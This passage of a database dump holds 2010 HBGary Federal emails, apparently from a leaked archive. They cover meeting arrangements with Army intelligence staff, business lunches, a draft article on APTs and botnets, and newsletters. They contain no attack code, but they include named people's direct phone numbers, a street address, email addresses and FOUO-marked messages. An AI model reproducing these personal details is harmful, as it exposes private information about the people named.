\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n&nbsp;\r\n\r\nIf it is an unclassified meeting I&#8217;d be happy to join you as a\r\nresource to talk about and show our products.&nbsp; I am getting a laptop with AD\r\nand Responder installed, just like at FIRST.\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 11:06 AM\r\nTo: Bob Slapnik; Penny Leavy; Ted Vera; Greg Hoglund; Rich Cummings\r\nSubject: Fwd: Meeting (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFYI.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI will be discussing our IR offering including the products\r\ninvolved. &nbsp;Also obviously discussing what we can do for them related to\r\nthreat intelligence and IO. &nbsp;This will include our consulting services and\r\neventual offerings for training related to social network vulnerability and\r\nexploitation.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Turner, Stephen\r\nW CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 21, 2010 10:58:38 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about 10:00 here at metro park. I figure the traffic\r\nshould good by then and you can still get out of here before the Friday traffic\r\nstarts again. If that time doesn\'t work let me know and we\'ll pick another one.\r\nThe address is: \r\n6359 Walker Lane, Alexandria, VA 22310\r\nOnce you get here you can give me a call at 703-428-4514 and I\'ll meet up with\r\nyou. We\'ll be meeting with the Army Red Team Chief, MAJ Verell, and the\r\nVulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can\r\nshoot me a list of topics that you would like to discuss. Again, thanks for\r\ntaking the time to speak with us.\r\n\r\nVery Respectfully,\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Monday, June 21, 2010 9:36 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\n\r\n\r\n\r\n\r\n\r\nFriday looks good for me. I will come to you.\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nLet me know time and place and I\'ll be there.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for your briefing, I really appreciate it. I have a \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwriting&gt; course from Tuesday to Thursday but I\'m free on\r\nFriday of \r\n\r\n\r\n\r\n\r\n\r\nthis week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNext week is pretty open for me. Where are you located? I\r\nassume \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nup near\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFt. Meade. Our office is in Springfield, Virginia. If we met\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhere it\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwould be easier for us to get my boss, Mrs. Brooks, involved\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nconcerning&gt; Fidelis. She has been leading force in\r\nfighting to get \r\n\r\n\r\n\r\n\r\n\r\nmonitoring tools\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nsuch as Fidelis on Army networks. If you are near Ft. Meade\r\nor close\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nenough to metro area I could easily come to you. Let me know\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwhat is\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nconvenient for you and we\'ll pick a time. Thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCPT Steve Turner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/21/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',64,'aaron_hbgary_com/64.html'),(7577,'2010-06-21','\"Paul Nemirovsky\" <pauln@jdn-int.com>','/aaron@hbgary.com/new/1297005711.M473956P14101Q2432.eml','\"Aaron Barr\" <aaron@hbgary.com>','Re: Something to read','&nbsp;\r\n&nbsp;\r\nAaron,\r\n&nbsp;\r\n&nbsp;\r\nSure, I will see you tomorrow, 11:15 am.\r\n&nbsp;\r\n&nbsp;\r\nRegards,\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________--- On Mon, 6/21/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Something to readTo: pauln@jdn-int.comDate: Monday, June 21, 2010, 10:43 AM\r\nJust verifying we are on for Lunch tomorrow at 11:15? \r\n\r\nAaron\r\n\r\n\r\nOn Jun 15, 2010, at 3:27 PM, Paul Nemirovsky wrote:\r\n\r\n\r\n\r\n\r\n\r\nAaron,\r\n&nbsp;\r\nThank you, it is very interesting!\r\n&nbsp;\r\n&nbsp;\r\nPaul\r\n&nbsp;\r\n&nbsp;\r\n___________________________________________________________\r\n&nbsp;--- On Tue, 6/15/10, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Something to readTo: \"Paul Nimirovsky\" &lt;pauln@jdn-int.com&gt;Date: Tuesday, June 15, 2010, 12:33 PM\r\nHi Paul,Before our meeting I would be interested to receive your thoughts onsome of our new offerings as represented in the attached data sheet.Aaron\r\n\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.',8808,'aaron_hbgary_com/8808.html'),(7578,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005711.M854154P14101Q2433.eml','\"Bob Slapnik\" <bob@hbgary.com>','Re: Meeting (UNCLASSIFIED)','Sounds good let me check.AaronFrom my iPhoneOn Jun 21, 2010, at 11:23 AM, Bob Slapnik &lt;bob@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nAaron,\r\n\r\n \r\n\r\nIf it is an unclassified meeting I’d be happy to join you as a\r\nresource to talk about and show our products.  I am getting a laptop with AD\r\nand Responder installed, just like at FIRST.\r\n\r\n \r\n\r\n\r\n\r\nBob \r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nFrom: Aaron Barr\r\n[mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 11:06 AM\r\nTo: Bob Slapnik; Penny Leavy; Ted Vera; Greg Hoglund; Rich Cummings\r\nSubject: Fwd: Meeting (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\nFYI.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nI will be discussing our IR offering including the products\r\ninvolved.  Also obviously discussing what we can do for them related to\r\nthreat intelligence and IO.  This will include our consulting services and\r\neventual offerings for training related to social network vulnerability and\r\nexploitation.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\nSent from my iPad\r\n\r\n\r\n\r\n\r\n\r\n\r\nBegin forwarded message:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: &quot;Turner, Stephen\r\nW CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 21, 2010 10:58:38 AM EDT\r\nTo: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow about 10:00 here at metro park. I figure the traffic\r\nshould good by then and you can still get out of here before the Friday traffic\r\nstarts again. If that time doesn&#39;t work let me know and we&#39;ll pick another one.\r\nThe address is: \r\n6359 Walker Lane, Alexandria, VA 22310\r\nOnce you get here you can give me a call at 703-428-4514 and I&#39;ll meet up with\r\nyou. We&#39;ll be meeting with the Army Red Team Chief, MAJ Verell, and the\r\nVulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can\r\nshoot me a list of topics that you would like to discuss. Again, thanks for\r\ntaking the time to speak with us.\r\n\r\nVery Respectfully,\r\n\r\nCPT Stephen W. Turner\r\nDSN 703-428-4514\r\n\r\n----- Original Message -----\r\nFrom: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Monday, June 21, 2010 9:36 am\r\nSubject: Re: Meeting (UNCLASSIFIED)\r\nTo: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\n\r\n\r\n\r\n\r\n\r\nFriday looks good for me. I will come to you.\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nLet me know time and place and I&#39;ll be there.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA\r\nwrote:\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMr. Barr,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThanks for your briefing, I really appreciate it. I have a \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwriting&gt; course from Tuesday to Thursday but I&#39;m free on\r\nFriday of \r\n\r\n\r\n\r\n\r\n\r\nthis week.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNext week is pretty open for me. Where are you located? I\r\nassume \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nup near\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFt. Meade. Our office is in Springfield, Virginia. If we met\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nhere it\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwould be easier for us to get my boss, Mrs. Brooks, involved\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nconcerning&gt; Fidelis. She has been leading force in\r\nfighting to get \r\n\r\n\r\n\r\n\r\n\r\nmonitoring tools\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nsuch as Fidelis on Army networks. If you are near Ft. Meade\r\nor close\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nenough to metro area I could easily come to you. Let me know\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nwhat is\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nconvenient for you and we&#39;ll pick a time. Thanks\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCPT Steve Turner\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nClassification: UNCLASSIFIED\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCaveats: FOUO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.829 / Virus Database: 271.1.1/2936 - Release Date: 06/21/10\r\n02:36:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',9734,'aaron_hbgary_com/9734.html'),(7579,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005712.M169512P14101Q2434.eml','\"Nathan Atherley\" <nathan.atherley@farallon-research.com>','Re: 8-9 Jul meeting & request','Ok sounds good.\r\n\r\nAaron\r\n\r\n From my iPhone\r\n\r\nOn Jun 21, 2010, at 10:56 AM, Nathan Atherley\r\n wrote:\r\n\r\n> Don\'t know how long we will go the second day, but wanted to leave\r\n> it open.\r\n>\r\n>\r\n>\r\n> On 6/21/2010 7:18 AM, Aaron Barr wrote:\r\n>> Sure.  Is it both days all day?\r\n>>\r\n>> I see what I can drag up for people that have left the company.  I\r\n>> know at least 1, maybe more.\r\n>>\r\n>> Aaron\r\n>>\r\n>> On Jun 19, 2010, at 1:45 PM, Nathan Atherley wrote:\r\n>>\r\n>>\r\n>>> Aaron\r\n>>>\r\n>>> Hey, we met with Penny this past week about the first Commercial\r\n>>> Integration Demo.  We would love to have you come if your\r\n>>> available this week.  We are meeting on the 11th floor of the 2231\r\n>>> Crystal Drive building we met in last time.\r\n>>>\r\n>>> Also, you mentioned you knew some good dudes with System\r\n>>> Engineering/Architectural experience and knowledge of Tu?  Would\r\n>>> you mind introducing me to anyone who fits that bill?\r\n>>>\r\n>>> thanks!\r\n>>>\r\n>>> nathan\r\n>>>\r\n>>>\r\n>>>\r\n>> Aaron Barr\r\n>> CEO\r\n>> HBGary Federal Inc.\r\n>>\r\n>>\r\n',2922,'aaron_hbgary_com/2922.html'),(7580,'2010-06-21','\"Greg Hoglund\" <greg@hbgary.com>','/aaron@hbgary.com/new/1297005712.M402283P14101Q2435.eml','\"Aaron Barr\" <aaron@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>,,,,,','\"APT and Botnets\" (draft #2)',' \r\nAaron,\r\n \r\nI have incorporated your writing into several sections of the article, and re-organized the article as well.  Also, per Karen, I have removed the references and worked them directly into the prose.  If any of you have time, please review.\r\n\r\n \r\nThanks!\r\n-Greg\r\n',7244,'aaron_hbgary_com/7244.html'),(7581,'2010-06-21','\"AFCEA NOVA Group Members\" <group-digests@linkedin.com>','/aaron@hbgary.com/new/1297005712.M644438P14101Q2436.eml','\"Aaron Barr\" <aaron@hbgary.com>','From Staci Redmon, PMP, MBA and other AFCEA NOVA group members on LinkedIn','\r\n\r\n  \r\n  \r\n    Linkedin GroupsJune 21, 2010\r\n    AFCEA NOVA\r\n    \r\n      \r\n    \r\n\r\n      \r\n    \r\n\r\n\r\n\r\n\r\n   Job Discussions (2)\r\n       \r\n         \r\n           2 Positions: Senior Security Analyst\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n       \r\n         \r\n           Position: Senior Security Analyst / Supervisor\r\n           Add a comment  &raquo;\r\n           \r\n         Posted by Staci Redmon, PMP, MBA, President &amp; CEO, Strategy and Management Services, Inc. (SAMS)\r\n       \r\n   \r\n     \r\n       \r\n         Find the best talent on LinkedIn\r\n         \r\n           Reach over 70 million top professionals\r\n           Be alerted to good matches automatically\r\n           Receive on average 30 applicants\r\n         \r\n         Get Started &raquo;\r\n       \r\n     \r\n   \r\n\r\n&nbsp;\r\nDon\'t want to receive email notifications? Adjust your message settings.\r\nLinkedIn values your privacy. At no time has LinkedIn made your email address available to any other LinkedIn user without your permission. &#169; 2010, LinkedIn Corporation.\r\n&nbsp;\r\n\r\n\r\n',14936,'aaron_hbgary_com/14936.html'),(7582,'2010-06-21','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','/aaron@hbgary.com/new/1297005712.M910371P14101Q2437.eml','\"Aaron Barr\" <aaron@hbgary.com>','hbgary','Aaron,\r\n\r\nAs a curious note, where does \"HBGary\" come from?\r\n\r\nDave\r\n-----------------------------------\r\nDavid D. Merritt, CISSP, CISM, ITIL\r\nOSD CIO IA\r\n703-697-2051 :desk\r\n\r\n\r\n',9251,'aaron_hbgary_com/9251.html'),(7583,'2010-06-21','fose@theonlinexpo.com','/aaron@hbgary.com/new/1297005713.M148369P14101Q2438.eml','aaron@hbgary.com','Invite a Friend','Hello,\r\n\r\nDavid Etue thought you might find the FREE Virtual FOSE conference and expo taking place July 21 interesting:\r\n\r\nRegister Here:  https://presentations.inxpo.com/Shows/FOSE/07_10/Registration/FOSEJulyReg.html\r\n\r\n\r\n\r\nThank you!\r\n',7362,'aaron_hbgary_com/7362.html'),(7584,'2010-06-21','\"Jennifer Jordan-Harrell\" <jennifer@executivebiz.com>','/aaron@hbgary.com/new/1297005713.M369187P14101Q2439.eml','\"Adkins, Lisa L (IS)\" <Lisa.Adkins@ngc.com>','Upcoming Potomac Officers Club Event','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nhttps://www.potomacofficersclub.com/POC/event_next.php\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nSincerely,\r\n\r\n&nbsp;\r\n\r\nJennifer Jordan-Harrell\r\n\r\nGroup Manager\r\n\r\n&nbsp;\r\n\r\nExecutiveBiz\r\n\r\n703-226-7016\r\n\r\njennifer@executivebiz.com\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',4207,'aaron_hbgary_com/4207.html'),(7585,'2010-06-21','\"Penny Leavy-Hoglund\" <penny@hbgary.com>','/aaron@hbgary.com/new/1297005713.M624603P14101Q2440.eml','\"Ted Vera\" <ted@hbgary.com>,\"Aaron Barr\" <aaron@hbgary.com>','Stock Paperwork','\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\nDid you sign and send this already?\r\n\r\n&nbsp;\r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\nNOTICE &#8211; Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on&nbsp;the taxpayer.&nbsp; (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n&nbsp;\r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for&nbsp;&nbsp; delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n',2512,'aaron_hbgary_com/2512.html'),(7586,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005719.M138700P14101Q2441.eml','\"Brian Masterson\" <brian.masterson@ngc.com>','Dude','If I was holding my breath I would be dead. :)\r\n\r\nAaron\r\n\r\n From my iPhone\r\n',13100,'aaron_hbgary_com/13100.html'),(7587,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005720.M83621P14101Q2442.eml','\"David Etue\" <david@etue.net>','Fwd: Meeting (UNCLASSIFIED)','FyiSent from my iPadBegin forwarded message:From: &quot;Turner, Stephen W CPT MIL USA USINSCOM&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nDate: June 21, 2010 10:58:38 AM EDTTo: Aaron Barr &lt;aaron@hbgary.com&gt;Subject: Re: Meeting (UNCLASSIFIED)\r\nHow about 10:00 here at metro park. I figure the traffic should good by then and you can still get out of here before the Friday traffic starts again. If that time doesn&#39;t work let me know and we&#39;ll pick another one. The address is: \r\n6359 Walker Lane, Alexandria, VA 22310Once you get here you can give me a call at 703-428-4514 and I&#39;ll meet up with you. We&#39;ll be meeting with the Army Red Team Chief, MAJ Verell, and the Vulnerability Assessment Detachment Chief, Mrs. Brooks. If you want, you can shoot me a list of topics that you would like to discuss. Again, thanks for taking the time to speak with us.\r\nVery Respectfully,CPT Stephen W. TurnerDSN 703-428-4514----- Original Message -----From: Aaron Barr &lt;aaron@hbgary.com&gt;\r\nDate: Monday, June 21, 2010 9:36 amSubject: Re: Meeting (UNCLASSIFIED)To: &quot;Turner, Stephen W CPT MIL USA&quot; &lt;stephen.w.turner@us.army.mil&gt;\r\nFriday looks good for me. I will come to you.Let me know time and place and I&#39;ll be there.\r\nAaronOn Jun 21, 2010, at 9:22 AM, Turner, Stephen W CPT MIL USA wrote:\r\nClassification: UNCLASSIFIED\r\nCaveats: FOUOMr. Barr,\r\nThanks for your briefing, I really appreciate it. I have a writing&gt; course from Tuesday to Thursday but I&#39;m free on Friday of \r\nthis week.Next week is pretty open for me. Where are you located? I assume \r\nup nearFt. Meade. Our office is in Springfield, Virginia. If we met \r\nhere itwould be easier for us to get my boss, Mrs. Brooks, involved concerning&gt; Fidelis. She has been leading force in fighting to get \r\nmonitoring toolssuch as Fidelis on Army networks. If you are near Ft. Meade or close\r\nenough to metro area I could easily come to you. Let me know what is\r\nconvenient for you and we&#39;ll pick a time. Thanks\r\nCPT Steve Turner\r\nClassification: UNCLASSIFIEDCaveats: FOUO\r\n\r\nAaron BarrCEOHBGary Federal Inc.\r\n\r\n',12317,'aaron_hbgary_com/12317.html'),(7588,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005722.M529918P14101Q2443.eml','\"Merritt, David CTR OSD CIO\" <David.Merritt.ctr@osd.mil>','Re: hbgary','Sure.  It\'s three names.  Hogland, Bracken, and Gary.  Bracken is\r\nstill with the company.  I am not sure what happened to Gary.\r\n\r\nAaron\r\n\r\nSent from my iPad\r\n\r\nOn Jun 21, 2010, at 2:21 PM, \"Merritt, David CTR OSD CIO\"\r\n wrote:\r\n\r\n> Aaron,\r\n>\r\n> As a curious note, where does \"HBGary\" come from?\r\n>\r\n> Dave\r\n> -----------------------------------\r\n> David D. Merritt, CISSP, CISM, ITIL\r\n> OSD CIO IA\r\n> 703-697-2051 :desk\r\n>\r\n>\r\n',11436,'aaron_hbgary_com/11436.html'),(7589,'2010-06-21','\"Strang, Larry (TASC)\" <larry.strang@tasc.com>','/aaron@hbgary.com/new/1297005723.M258586P14101Q2444.eml','\"Aaron Barr\" <aaron@hbgary.com>','RE: Discussion on cyber','I sit in AJ but also spend a day or two a week in Chantilly. Thursday I\r\nam in AJ but I can carve some time out of Wed when I will be in\r\nChantilly in the afternoon.  Thoughts\r\n\r\n-----Original Message-----\r\nFrom: Aaron Barr [mailto:aaron@hbgary.com] \r\nSent: Monday, June 21, 2010 10:41 AM\r\nTo: Strang, Larry (TASC)\r\nSubject: Re: Discussion on cyber\r\n\r\nHa.  I like the three bears comment!  And I can see it would be a much\r\nbetter fit, not so big, mission not so spread out.  You can focus you\r\nenergies to help them develop a cyber strategy within a much more\r\ndefined context.  Still any cyber strategy effort today is not without\r\nits challenges, the government just is not getting its act together.\r\n\r\nThanks.  Like you this feels just right.  I am having a blast, the\r\nanxiety and exhilaration of trying to build a business is an invaluable\r\nexperience for me.  I am not happy with the manner in which I left, but\r\nalls well that ends well and I have maintained good relationships with\r\njust about all of my previous close coworkers.  I sit in Tysons/Mclean.\r\nWe don\'t have a DC office yet, main offices in Sacramento and Colorado\r\nSprings.  So I do meetings/home/coffeeshop/rentaoffice in that order.\r\nThis week I have Thursday open and am pretty open next week.  I will be\r\nin Chantilly on Wednesday working on a proposal with Al\'s group, I am\r\nnot sure where you sit.  Let me know when you have some availability.\r\n\r\nAaron\r\n\r\nOn Jun 21, 2010, at 10:31 AM, Strang, Larry (TASC) wrote:\r\n\r\n> Hey Aaron,\r\n> \r\n> Great to hear from you; how are things at HBGary?  Thanks for the\r\n> tentative congratulations but I will tell you I am pleased to be here.\r\n> Northrop is a great company, just way too big, and like the three\r\nbears\r\n> said, this one is JUST right.  Or at least it is so far.  And many of\r\n> your friends here still remember you well.  I think I saw where your\r\n> duty title was the CEO and so I am duly impressed.  Congratulations\r\n> yourself.  Where do you actually sit?  When would you like to get\r\n> together?  Let me know and we\'ll make it happen,\r\n> \r\n> 	Larry\r\n> \r\n> -----Original Message-----\r\n> From: Aaron Barr [mailto:aaron@hbgary.com] \r\n> Sent: Wednesday, June 16, 2010 9:55 AM\r\n> To: Strang, Larry (TASC)\r\n> Subject: Discussion on cyber\r\n> \r\n> Hi Larry,\r\n> \r\n> Congratulations... I think. ;)\r\n> \r\n> Attached is our datasheet for information security services.  I would\r\n> like to get together at your convenience to talk cyber.  I had a brief\r\n> meeting with Wood last week and mentioned to him, if interested, i\r\nwould\r\n> like to work together.  TASC is a second home for me and contains many\r\n> friends.\r\n> \r\n> Aaron\r\n\r\nAaron Barr\r\nCEO\r\nHBGary Federal Inc.\r\n\r\n',15268,'aaron_hbgary_com/15268.html'),(7590,'2010-06-21','\"Aaron Barr\" <aaron@hbgary.com>','/aaron@hbgary.com/new/1297005723.M614346P14101Q2445.eml','\"Penny Leavy-Hoglund\" <penny@hbgary.com>,\"Penny Leavy-Hoglund\" <penny@hbgary.com>','Re: Stock Paperwork','Ah no forgot.  I&#39;ll get it to you tonight.Sent from my iPadOn Jun 21, 2010, at 3:14 PM, Penny Leavy-Hoglund &lt;penny@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\n\r\nDid you sign and send this already?\r\n\r\n \r\n\r\nPenny C. Leavy\r\n\r\nPresident\r\n\r\nHBGary, Inc\r\n\r\n \r\n\r\n \r\n\r\nNOTICE – Any tax information or written tax advice\r\ncontained herein (including attachments) is not intended to be and cannot be\r\nused by any taxpayer for the purpose of avoiding tax penalties that may be\r\nimposed on the taxpayer.  (The foregoing legend has been affixed\r\npursuant to U.S. Treasury regulations governing tax practice.)\r\n\r\n \r\n\r\nThis message and\r\nany attached files may contain information that is confidential and/or subject\r\nof legal privilege intended only for use by the intended recipient. If you are\r\nnot the intended recipient or the person responsible for   delivering\r\nthe message to the intended recipient, be advised that you have received this\r\nmessage in error and that any dissemination, copying or use of this message or\r\nattachment is strictly\r\n\r\n \r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n',15398,'aaron_hbgary_com/15398.html'),(7591,'2010-06-21','\"AFCEA International\" <noreply@emails.afcea.org>','/aaron@hbgary.com/new/1297005724.M313462P14101Q2446.eml','aaron@hbgary.com','Sign up now for AFCEA\'s \"Swinging for Scholarships\" Golf Tournament','\r\n\r\nAFCEA International\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n	\r\n		\r\n\r\n  \r\n  \r\n    &nbsp;\r\n\r\n		\r\n  &nbsp;\r\n   \r\n  \r\n\r\n  \r\n    AFCEA International Golf Tournament \r\n            &quot;Swinging for Scholarships&quot;\r\n      Friday, September 17, 2010\r\n      8:00 a.m. Shotgun Start\r\n      Westfields Golf Club, Clifton, VA\r\n       www.afcea.org/events/golf  \r\n      The AFCEA International Golf Tournament (formerly known as the AFCEA Diversity Golf&nbsp;Tournament) will be supporting the AFCEA Education Scholarships for Teaching Science, Technology, Engineering and Mathematics (STEM). This Program offers scholarships of 